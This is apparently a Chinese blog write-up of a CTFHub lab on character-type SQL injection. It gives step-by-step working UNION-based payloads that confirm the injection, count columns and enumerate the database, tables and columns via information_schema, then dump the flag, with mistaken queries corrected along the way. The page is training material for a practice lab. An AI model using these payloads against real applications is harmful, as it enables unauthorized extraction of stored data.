2025.1.15——二、字符型注入

题目来源:ctfhub技能树

目录

一、基本操作:整理已知信息,本题为字符型注入

二、解题步骤

[step 1:确认为字符型注入](#step 1:确认为字符型注入)

[step 2:查询字段](#step 2:查询字段)

[step 3:爆数据库名](#step 3:爆数据库名)

[step 4:爆表名](#step 4:爆表名)

[step 5:爆列名](#step 5:爆列名)

[step 6:爆具体数据](#step 6:爆具体数据)

三、小结


一、基本操作:整理已知信息,本题为字符型注入

二、解题步骤

step 1:确认为字符型注入

键入:

sql 复制代码
1

键入:1' and 1=2 # 发现报错

键入:1' and 1=1 # 未发现报错

所以确认为字符型注入

step 2:查询字段

sql 复制代码
1' order by 4 #
sql 复制代码
1' order by 2 #

确认字段数为2(省略了试探字段数为3的情况)

step 3:爆数据库名

sql 复制代码
1' and 1=2 union select database(),database() #

得到两个数据库名均为sqli

step 4:爆表名

错误示范:

sql 复制代码
1' and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_name='sqli' #

错误原因:最后部分应该是 table_schema 而不是 table_name。通过指定table_schema='sqli',可以筛选出属于sqli这个数据库的所有表的名称。如果使用table_name,则需要知道具体的表名才能进行查询

正确payload:

sql 复制代码
1' and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli' #

得到表名分别为flag和news

step 5:爆列名

错误示范:

sql 复制代码
1' and 1=2 union select 1,group_concat(column_name)from information_schema.columns where table_name='sqli' and column_schema='flag' #

错误原因:这里的column_schema并不是information_schema.columns表中的有效字段。在information_schema.columns表中,用于指定数据库名的字段是table_schema,而不是column_schema。所以,这个查询中的条件column_schema='flag'是错误的,导致 SQL 语句无法正确执行,从而出现错误。

正确payload:

sql 复制代码
1' and 1=2 union select 1,group_concat(column_name)from information_schema.columns where table_name='flag' #

step 6:爆具体数据

sql 复制代码
1' and 1=2 union select 1,flag from sqli.flag #

三、小结

与整数型注入流程大致相同,区别 在于需要加上单引号 进行语句闭合,最后还要加上**#**将SQL语句剩余部分注释掉

相关推荐
YMWM_6 分钟前
UDP协议详解:从原理到Python实践
网络·网络协议·udp
_李小白13 分钟前
【android opencv学习笔记】Day 17: 目标追踪(MeanShift)
android·opencv·学习
pengyi87101517 分钟前
共享 IP 与独享 IP 怎么选?被封后升级方案避坑
网络·网络协议·tcp/ip
YuanDaima204818 分钟前
Linux 进阶运维与 AI 环境实战:进程管理、网络排错与 GPU 监控
linux·运维·服务器·网络·人工智能
一只机电自动化菜鸟30 分钟前
一建机电备考笔记(40) 建筑机电施工—排水管道施工(含考频+题型)
经验分享·笔记·学习·职场和发展·课程设计
2301_8187305640 分钟前
numpy的学习(笔记)
学习·numpy
Muscleheng42 分钟前
Navicat连接postgresql时出现‘datlastsysoid does not exist‘报错
数据库·postgresql
GHL2842710901 小时前
Logon failed, use ctrl+c to cancel basic credential prompt
学习·prompt
共享家95271 小时前
Langchain的学习(二)
学习·langchain
victory04311 小时前
agent 学习路径解析 学习资源分享
学习